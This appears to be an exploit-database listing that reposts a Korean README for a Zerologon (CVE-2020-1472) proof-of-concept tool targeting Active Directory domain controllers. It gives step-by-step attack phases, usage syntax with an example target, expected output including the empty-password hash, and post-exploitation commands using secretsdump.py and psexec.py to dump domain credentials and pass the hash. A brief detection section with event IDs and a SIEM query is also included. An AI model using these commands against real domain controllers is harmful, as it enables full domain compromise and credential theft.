Sploitus

Exploit for ZeroLogon-PoC-DC-Pwn

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN205 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MODS20HH-ZEROLOGON-POC-DC-PWN
# Zerologon (CVE-2020-1472)

## κ°œμš”

이 ν”„λ‘œμ νŠΈλŠ” κ°€μž₯ μ€‘μš”ν•œ Active Directory λ³΄μ•ˆ 취약점 쀑 ν•˜λ‚˜μΈ **Zerologon 취약점(CVE-2020-1472)**의 κ΅¬ν˜„μž…λ‹ˆλ‹€. 이 취약점은 μΈμ¦λ˜μ§€ μ•Šμ€ κ³΅κ²©μžκ°€ 도메인 컨트둀러의 컴퓨터 계정 λΉ„λ°€λ²ˆν˜Έλ₯Ό μž¬μ„€μ •ν•˜μ—¬ 전체 Active Directory 도메인을 μ†μƒμ‹œν‚€λŠ” 것을 ν—ˆμš©ν•©λ‹ˆλ‹€.

### CVSS 점수: 10.0 (치λͺ…적)

## Zerologonμ΄λž€ 무엇인가?

Zerologon은 Microsoft의 Netlogon 원격 ν”„λ‘œν† μ½œ(MS-NRPC)에 μ‘΄μž¬ν•˜λŠ” μ•”ν˜Έν™” κ²°ν•¨μž…λ‹ˆλ‹€. 이 취약점은 Netlogon이 ν•˜λ“œμ½”λ”©λœ 0 κ°’μ˜ μ΄ˆκΈ°ν™” 벑터(IV)와 ν•¨κ»˜ AES-CFB8 μ•”ν˜Έν™”λ₯Ό μ‚¬μš©ν•˜λŠ” 방식에 μ‘΄μž¬ν•©λ‹ˆλ‹€.

**기술 μš”μ•½:**

  * Netlogon ν”„λ‘œν† μ½œμ€ challenge-response(도전-응닡) 인증 λ©”μ»€λ‹ˆμ¦˜μ„ μ‚¬μš©ν•©λ‹ˆλ‹€.
  * 잘λͺ»λœ μ•”ν˜Έν™” κ΅¬ν˜„μœΌλ‘œ 인해, λͺ¨λ‘ 0인 challengeλŠ” 1/256의 ν™•λ₯ λ‘œ μœ νš¨ν•œ 인증을 생성할 수 μžˆμŠ΅λ‹ˆλ‹€.
  * κ³΅κ²©μžλŠ” μ•½ 2000회의 인증 μ‹œλ„λ₯Ό 보내 이 결함을 μ•ˆμ •μ μœΌλ‘œ μ•…μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  * 인증에 μ„±κ³΅ν•˜λ©΄, κ³΅κ²©μžλŠ” 도메인 컨트둀러의 컴퓨터 계정 λΉ„λ°€λ²ˆν˜Έλ₯Ό μ•Œλ €μ§„ κ°’(빈 ν•΄μ‹œ)으둜 μž¬μ„€μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€.



## μž‘λ™ 원리

root@kitploit:~
    
    
    1. Target Selection
       └─> Identify Domain Controller (FQDN, NetBIOS name, machine account)
    
    2. Challenge Phase (I_NetServerReqChallenge)
       └─> Send all-zero client challenge (0x0000000000000000)
       └─> Receive server challenge
    
    3. Authentication Phase (I_NetServerAuthenticate2)
       └─> Attempt authentication with null credentials
       └─> Repeat until successful (~1/256 success rate per attempt)
    
    4. Password Reset Phase (I_NetServerPasswordSet2)
       └─> Reset DC machine account password to empty
       └─> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)
    
    5. Post-Exploitation
       └─> Use Pass-the-Hash with empty credentials
       └─> Full domain compromise achieved
    

## ν”„λ‘œμ νŠΈ λΉŒλ“œ

### 사전 μš”κ΅¬ 사항

  * Windows 개발 ν™˜κ²½ (Windows 10/11)
  * Visual Studio 2022
  * Windows SDK



### 컴파일

**Visual Studio μ‚¬μš©:**

root@kitploit:~
    
    
    1. Open Visual Studio
    2. Select **Build Solution** from the **Build** menu.
    

## μ‚¬μš©λ²•

root@kitploit:~
    
    
    Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
    

**μ˜ˆμ‹œ:**

root@kitploit:~
    
    
    Zerologon.exe DC01.corp.example.com DC01 DC01$
    

### λ§€κ°œλ³€μˆ˜:

  * `DC_FQDN`: λŒ€μƒ 도메인 컨트둀러의 μ •κ·œν™”λœ 도메인 이름(FQDN)
  * `DC_NetBIOS_Name`: DC의 NetBIOS 이름 (일반적으둜 호슀트 이름)
  * `Machine_Account_Name`: 컴퓨터 계정 이름 ($둜 λλ‚˜μ•Ό 함)



### μ˜ˆμƒ 좜λ ₯:

**성곡적인 μ•…μš©:**

root@kitploit:~
    
    
    [+] Targeting Domain Controller:
        FQDN           : DC01.corp.example.com
        NetBIOS Name   : DC01
        Machine Account: DC01$
    
    [+] SUCCESS: Machine account password reset to empty!
    [+] Now use Pass-the-Hash with:
          .\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    [+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
    

**μ‹€νŒ¨ν•œ μ•…μš© (패치된 μ‹œμŠ€ν…œ):**

root@kitploit:~
    
    
    [-] Attack failed after 2000 attempts. Target likely patched.
    

## 사후 μ•…μš©

DC λΉ„λ°€λ²ˆν˜Έλ₯Ό μ„±κ³΅μ μœΌλ‘œ μž¬μ„€μ •ν•œ ν›„, λ‹€μŒμ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  1. **도메인 자격 증λͺ… 덀프:**



root@kitploit:~
    
    
    secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
    

  2. **Pass-the-Hash 인증:**



root@kitploit:~
    
    
    psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
    

## 탐지

**λ„€νŠΈμ›Œν¬ 기반 탐지:**

  * 단일 μ†ŒμŠ€μ—μ„œ λ°œμƒν•œ λ‹€μˆ˜μ˜ μ‹€νŒ¨ν•œ Netlogon 인증 μ‹œλ„
  * MS-NRPC νŠΈλž˜ν”½μ˜ 비정상 νŒ¨ν„΄
  * Zerologon μ•…μš©μ— λŒ€ν•œ IDS/IPS μ‹œκ·Έλ‹ˆμ²˜



**둜그 기반 탐지:**

root@kitploit:~
    
    
    Event Viewer β†’ Windows Logs β†’ System
    - Event ID 5827: Multiple password validation failures
    - Event ID 5829: Secure channel reset
    

**SIEM 쿼리:**

root@kitploit:~
    
    
    source="WinEventLog:System" EventCode=5827 OR EventCode=5829
    | stats count by Computer, SourceIP
    | where count > 100
    

## λ©΄μ±… μ‘°ν•­

이 λ„κ΅¬λŠ” **ꡐ윑 및 승인된 λ³΄μ•ˆ 연ꡬ λͺ©μ μœΌλ‘œλ§Œ** μ œκ³΅λ©λ‹ˆλ‹€.

**μ €μžλŠ” 이 μ½”λ“œμ˜ μ˜€μš©μ— λŒ€ν•΄ μ–΄λ– ν•œ μ±…μž„λ„ μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.**

## 참고 자료

### 곡식 자료:

  * CVE-2020-1472 - NIST
  * Microsoft λ³΄μ•ˆ ꢌ고
  * Secura 연ꡬ λ…Όλ¬Έ



### 기술 뢄석:

  * Microsoft Netlogon ν”„λ‘œν† μ½œ 사양
  * Zerologon 기술 심측 뢄석



### 도ꡬ:

  * Impacket Toolkit \- 사후 μ•…μš©μš©
  * Mimikatz \- 자격 증λͺ… μΆ”μΆœ



## λΌμ΄μ„ μŠ€

이 ν”„λ‘œμ νŠΈλŠ” MIT λΌμ΄μ„ μŠ€μ— 따라 λΌμ΄μ„ μŠ€κ°€ λΆ€μ—¬λ©λ‹ˆλ‹€. μžμ„Έν•œ λ‚΄μš©μ€ LICENSE νŒŒμΌμ„ μ°Έμ‘°ν•˜μ‹­μ‹œμ˜€.